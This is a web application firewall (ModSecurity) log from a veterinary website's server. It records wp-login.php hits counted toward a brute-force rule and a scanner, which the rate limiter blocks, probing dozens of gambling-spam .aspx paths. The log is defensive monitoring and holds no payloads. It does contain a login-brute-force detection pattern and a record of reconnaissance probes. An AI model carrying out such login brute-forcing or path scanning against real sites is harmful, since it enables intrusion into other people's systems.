[Fri Feb 27 08:36:32.817346 2026] [:error] [pid 56075:tid 56082] [client 51.89.225.72:38046] [client 51.89.225.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.225.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDnEMKBhrfI6KNv9RgNtQAAAAU"]
[Fri Feb 27 08:37:49.522598 2026] [:error] [pid 54231:tid 54246] [client 185.105.226.223:36012] [client 185.105.226.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.105.226.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDnXeTvb5AeyJCdY7AcBwAAAEw"]
[Fri Feb 27 08:50:37.576941 2026] [:error] [pid 54102:tid 54165] [client 147.135.128.94:38132] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaDqXXi74D4fiYUm_GfT_wAAAJU"]
[Fri Feb 27 08:50:39.908996 2026] [:error] [pid 54102:tid 54156] [client 147.135.128.94:52588] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaDqX3i74D4fiYUm_GfUAgAAAIw"]
[Fri Feb 27 08:50:42.307469 2026] [:error] [pid 54103:tid 54174] [client 147.135.128.94:52604] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaDqYuvG4MPCmE0B2sDu1wAAAMM"]
[Fri Feb 27 08:50:44.840242 2026] [:error] [pid 54103:tid 54188] [client 147.135.128.94:52618] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaDqZOvG4MPCmE0B2sDu5AAAANE"]
[Fri Feb 27 08:50:47.219854 2026] [:error] [pid 62998:tid 63022] [client 147.135.128.94:52620] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaDqZ1QeueXZDUmoLom5ywAAARQ"]
[Fri Feb 27 08:50:49.763063 2026] [:error] [pid 56075:tid 56102] [client 147.135.128.94:60336] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaDqacKBhrfI6KNv9RgXBgAAABg"]
[Fri Feb 27 08:50:52.277772 2026] [:error] [pid 54231:tid 54255] [client 147.135.128.94:60366] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaDqbOTvb5AeyJCdY7AiTAAAAFU"]
[Fri Feb 27 08:50:54.668590 2026] [:error] [pid 54231:tid 54239] [client 147.135.128.94:60388] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaDqbuTvb5AeyJCdY7AiUAAAAEU"]
[Fri Feb 27 08:50:57.046250 2026] [:error] [pid 62998:tid 63012] [client 147.135.128.94:60408] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaDqcVQeueXZDUmoLom6BgAAAQo"]
[Fri Feb 27 08:50:59.584046 2026] [:error] [pid 54231:tid 54245] [client 147.135.128.94:43050] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaDqc-Tvb5AeyJCdY7AiZQAAAEs"]
[Fri Feb 27 08:51:02.101858 2026] [:error] [pid 62998:tid 63012] [client 147.135.128.94:43054] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaDqdlQeueXZDUmoLom6GwAAAQo"]
[Fri Feb 27 08:51:04.491090 2026] [:error] [pid 62998:tid 63018] [client 147.135.128.94:43068] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaDqeFQeueXZDUmoLom6JgAAARA"]
[Fri Feb 27 08:51:07.001197 2026] [:error] [pid 62998:tid 63012] [client 147.135.128.94:43084] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaDqelQeueXZDUmoLom6OQAAAQo"]
[Fri Feb 27 08:51:09.527187 2026] [:error] [pid 56075:tid 56083] [client 147.135.128.94:56434] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aaDqfcKBhrfI6KNv9RgXcAAAAAY"]
[Fri Feb 27 08:51:11.884261 2026] [:error] [pid 62998:tid 63011] [client 147.135.128.94:56456] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaDqf1QeueXZDUmoLom6VwAAAQk"]
[Fri Feb 27 08:51:14.405998 2026] [:error] [pid 56075:tid 56085] [client 147.135.128.94:56478] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaDqgsKBhrfI6KNv9RgXegAAAAg"]
[Fri Feb 27 08:51:16.950979 2026] [:error] [pid 54231:tid 54234] [client 147.135.128.94:56502] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaDqhOTvb5AeyJCdY7AirQAAAEA"]
[Fri Feb 27 08:51:19.463579 2026] [:error] [pid 62998:tid 63012] [client 147.135.128.94:59812] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaDqh1QeueXZDUmoLom6vwAAAQo"]
[Fri Feb 27 08:51:21.915420 2026] [:error] [pid 54231:tid 54239] [client 147.135.128.94:59830] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaDqieTvb5AeyJCdY7AitgAAAEU"]
[Fri Feb 27 08:51:24.418524 2026] [:error] [pid 62998:tid 63023] [client 147.135.128.94:59858] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaDqjFQeueXZDUmoLom6-wAAARU"]
[Fri Feb 27 08:51:26.988489 2026] [:error] [pid 54102:tid 54149] [client 147.135.128.94:59874] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaDqjni74D4fiYUm_GfUegAAAIU"]
[Fri Feb 27 08:51:29.450403 2026] [:error] [pid 54103:tid 54184] [client 147.135.128.94:60966] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaDqkevG4MPCmE0B2sDvOAAAAM0"]
[Fri Feb 27 08:51:31.927111 2026] [:error] [pid 56075:tid 56078] [client 147.135.128.94:60988] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaDqk8KBhrfI6KNv9RgXjgAAAAE"]
[Fri Feb 27 08:51:34.584001 2026] [:error] [pid 54103:tid 54194] [client 147.135.128.94:32774] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaDqluvG4MPCmE0B2sDvRwAAANc"]
[Fri Feb 27 08:52:02.996653 2026] [:error] [pid 56075:tid 56080] [client 147.135.128.94:32800] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aaDqssKBhrfI6KNv9RgX4AAAAAM"]
[Fri Feb 27 08:52:05.459027 2026] [:error] [pid 56075:tid 56079] [client 147.135.128.94:39332] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaDqtcKBhrfI6KNv9RgX5wAAAAI"]
[Fri Feb 27 08:52:07.968023 2026] [:error] [pid 54102:tid 54162] [client 147.135.128.94:58860] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aaDqt3i74D4fiYUm_GfUlQAAAJI"]
[Fri Feb 27 08:52:10.323928 2026] [:error] [pid 54101:tid 54121] [client 147.135.128.94:58888] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaDqulY5qgRktcYTGFu7TwAAAc0"]
[Fri Feb 27 08:52:12.835116 2026] [:error] [pid 62998:tid 63019] [client 147.135.128.94:58906] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aaDqvFQeueXZDUmoLom70wAAARE"]
[Fri Feb 27 08:52:15.161946 2026] [:error] [pid 54231:tid 54242] [client 147.135.128.94:58928] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaDqv-Tvb5AeyJCdY7AjFQAAAEg"]
[Fri Feb 27 08:52:17.665303 2026] [:error] [pid 54231:tid 54253] [client 147.135.128.94:60352] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaDqweTvb5AeyJCdY7AjGQAAAFM"]
[Fri Feb 27 08:52:20.155833 2026] [:error] [pid 54231:tid 54254] [client 147.135.128.94:60366] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaDqxOTvb5AeyJCdY7AjHAAAAFQ"]
[Fri Feb 27 08:52:22.663248 2026] [:error] [pid 62998:tid 63013] [client 147.135.128.94:60382] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaDqxlQeueXZDUmoLom7-AAAAQs"]
[Fri Feb 27 08:52:25.167260 2026] [:error] [pid 62998:tid 63022] [client 147.135.128.94:60402] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaDqyVQeueXZDUmoLom8AgAAARQ"]
[Fri Feb 27 08:52:27.668120 2026] [:error] [pid 54101:tid 54132] [client 147.135.128.94:60422] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaDqy1Y5qgRktcYTGFu7WQAAAdg"]
[Fri Feb 27 08:52:30.159556 2026] [:error] [pid 62998:tid 63010] [client 147.135.128.94:57392] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aaDqzlQeueXZDUmoLom8GQAAAQg"]
[Fri Feb 27 08:52:32.493238 2026] [:error] [pid 54102:tid 54161] [client 147.135.128.94:57418] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaDq0Hi74D4fiYUm_GfUswAAAJE"]
[Fri Feb 27 08:52:34.983483 2026] [:error] [pid 54101:tid 54113] [client 147.135.128.94:57432] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaDq0lY5qgRktcYTGFu7XwAAAcU"]
[Fri Feb 27 08:52:37.464240 2026] [:error] [pid 54101:tid 54112] [client 147.135.128.94:57442] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaDq1VY5qgRktcYTGFu7YQAAAcQ"]
[Fri Feb 27 08:52:39.799372 2026] [:error] [pid 54231:tid 54240] [client 147.135.128.94:55670] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaDq1-Tvb5AeyJCdY7AjLwAAAEY"]
[Fri Feb 27 08:52:42.327567 2026] [:error] [pid 56075:tid 56080] [client 147.135.128.94:55698] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaDq2sKBhrfI6KNv9RgYHQAAAAM"]
[Fri Feb 27 08:52:44.813606 2026] [:error] [pid 54101:tid 54131] [client 147.135.128.94:55716] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaDq3FY5qgRktcYTGFu7aQAAAdc"]
[Fri Feb 27 08:52:47.334222 2026] [:error] [pid 62998:tid 63011] [client 147.135.128.94:55732] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaDq31QeueXZDUmoLom8QgAAAQk"]
[Fri Feb 27 08:52:49.835404 2026] [:error] [pid 54102:tid 54169] [client 147.135.128.94:51926] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaDq4Xi74D4fiYUm_GfUygAAAJg"]
[Fri Feb 27 08:52:52.328337 2026] [:error] [pid 54102:tid 54153] [client 147.135.128.94:51938] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaDq5Hi74D4fiYUm_GfU0QAAAIk"]
[Fri Feb 27 08:52:54.830193 2026] [:error] [pid 54231:tid 54253] [client 147.135.128.94:51956] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaDq5uTvb5AeyJCdY7AjPQAAAFM"]
[Fri Feb 27 08:52:57.327816 2026] [:error] [pid 56075:tid 56085] [client 147.135.128.94:51974] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaDq6cKBhrfI6KNv9RgYSQAAAAg"]
[Fri Feb 27 08:52:59.808337 2026] [:error] [pid 62998:tid 63002] [client 147.135.128.94:50440] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaDq61QeueXZDUmoLom8hwAAAQE"]
[Fri Feb 27 08:53:27.163177 2026] [:error] [pid 62998:tid 63018] [client 147.135.128.94:50456] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaDrB1QeueXZDUmoLom8-gAAARA"]
[Fri Feb 27 08:53:29.464864 2026] [:error] [pid 62998:tid 63010] [client 147.135.128.94:39260] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaDrCVQeueXZDUmoLom9AgAAAQg"]
[Fri Feb 27 08:53:31.956758 2026] [:error] [pid 54103:tid 54181] [client 147.135.128.94:39274] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aaDrC-vG4MPCmE0B2sDvoAAAAMo"]
[Fri Feb 27 08:53:34.447895 2026] [:error] [pid 56075:tid 56078] [client 147.135.128.94:39286] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aaDrDsKBhrfI6KNv9RgZCAAAAAE"]
[Fri Feb 27 08:53:36.782336 2026] [:error] [pid 54231:tid 54257] [client 147.135.128.94:39296] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaDrEOTvb5AeyJCdY7AjjwAAAFc"]
